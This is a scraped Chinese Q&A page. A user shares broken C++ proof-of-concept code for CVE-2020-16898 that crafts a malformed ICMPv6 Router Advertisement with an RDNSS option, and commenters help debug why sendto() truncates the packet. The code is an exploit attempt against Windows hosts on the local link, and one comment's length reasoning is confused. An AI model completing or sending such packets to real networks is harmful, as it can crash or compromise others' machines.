【问题标题】:Sockets - sendto() truncating ICMPv6 options套接字 - sendto() 截断 ICMPv6 选项
【发布时间】:2020-10-20 15:55:43
【问题描述】:

出于好奇,我试图为CVE-2020-16898 编写一个简单的概念验证漏洞利用程序。我使用了 RFC(RFC 4861 和 RFC 6106)来获得正确的格式,并且我已经成功地使用下面的代码发送了一个精心设计的 ICMPv6 路由器广告数据包。但是,在 Wireshark 中查看数据包发现实际发送的数据包中缺少数据包选项 25(有效负载)。

我怀疑它与数据包长度有关 - 我尝试将其转换为 Big Endian(同时使用 htons() 并手动插入十六进制数字),但在这些情况下,sendto() 失败并显示“消息太长”错误。有效负载应为 56 字节长,应远低于限制。

我在下面包含我的代码。如有任何帮助,我将不胜感激。

#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>

struct ipHeader{
    uint8_t priority:4, version:4;
    uint8_t flow[3];
    uint16_t length;
    uint8_t nextHeader;
    uint8_t hopLimit;

    // 128-bit IPv6 addresses
    uint16_t srcAddress[8];
    uint16_t dstAddress[8];
};

struct payload{
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
    uint16_t routerLifetime;
    uint32_t reachableTime;
    uint32_t retrans;
    // Options, probably should be its own struct
    uint8_t optionType;
    uint8_t optionLength;
    uint16_t optionReserved;
    uint32_t optionLifetime;
    uint32_t dnsAddress[4]; // 128-bit IPv6 address
    uint64_t randomGarbage; // This is where magic happens
};

int main()
{
    uint8_t *packet;
    packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));

    ipHeader *ip;
    payload *icmp;

    // Place IP header + payload directly to the packet buffer
    ip = (ipHeader *) packet;
    // Offset of payload in packet buffer
    icmp = (payload *)(packet+sizeof(ipHeader));

    // IPv6 packet header (arcane magic stuff)
    ip->version = 0b0110;
    ip->priority = 0;
    (ip->flow)[0] = 0;
    (ip->flow)[1] = 0;
    (ip->flow)[2] = 0;
    ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
    ip->nextHeader = 58;
    ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped

    std::cout << std::hex << ip->length << std::dec << std::endl;

    // ICMPv6 router advertisement packet (more arcane magic stuff)
    icmp->type = 134; // Router advertisement
    icmp->code = 0;
    icmp->checksum = 0; // will set/calculate later
    icmp->curHopLimit = 64;
    icmp->M = 0;
    icmp->O = 0;
    icmp->reserved = 0;
    icmp->lifetime = 0;
    icmp->reachableTime = 0;
    icmp->retrans = 0;
    icmp->optionType = 25;
    icmp->optionLength = htonl(3);
    icmp->optionLifetime = UINT32_MAX;
    icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
    icmp->checksum = 0x2e55;

    sockaddr_in6 remote{};
    remote.sin6_family = AF_INET6;
    remote.sin6_port = 0;
    remote.sin6_flowinfo = 0;
    remote.sin6_scope_id = 0;

    //Set addresses
    inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
    inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
    inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
    inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting

    int sock, optVal;
    sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if(sock == -1){
        perror("Failed to open socket");
        exit(-1);
    }

    int status;
    status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
    if(status != 0){
        std::cout << "Socket options returned status " << status << std::endl;
        perror("Failed to set socket options");
        exit(-2);
    }

    std::cout << "Sockets ready, sending payload..." << std::endl;
    std::cout << "Payload size: " << sizeof(payload) << std::endl;

    status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
    if(status != ip->length){
        std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
        perror("Failed to send packet");
        exit(-3);
    }

    return 0;
}

【问题讨论】:

  • 您确定 ip->length 是要发送的正确字节数吗?您想发送标头和有效负载,对吗? ip->length 只是代码中的有效负载

标签: c++ sockets icmpv6


【解决方案1】:

你有:

    uint8_t optionLength;

和:

icmp->optionLength = htonl(3);

这没有意义。

optionLength 字段只有一个字节。单字节字段不可能是大端或小端。只是一个字节。

由于时间不长,将htonl 的结果分配给该字段是错误的。只需使用= 3

【讨论】:

  • 感谢您的回复,但很遗憾,这并没有解决问题。 Sendto() 仍然失败,并显示“消息太长”(错误号:90)...
  • @InterCity 我认为这个错误是正确的——消息太长了。漏洞的关键不是没有系统应该发送此消息吗?而且您的系统的发送代码没有错误,只有接收代码(假设它是易受攻击的),所以这个代码不应该工作。你为什么期望它?
  • 这个例子正在发送一条长度正确的有效消息。或者至少这是我应该做的。消息长 3 个字节(1 个字节的标头和 2 个字节的 IPv6 地址)。只要路由器想在漫游主机上临时配置 DNS,就应该发送此类消息。
猜你喜欢
  • 1970-01-01
  • 2015-07-27
  • 2014-05-23
  • 2022-11-24
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-06-15
  • 2011-02-09
相关资源
最近更新 更多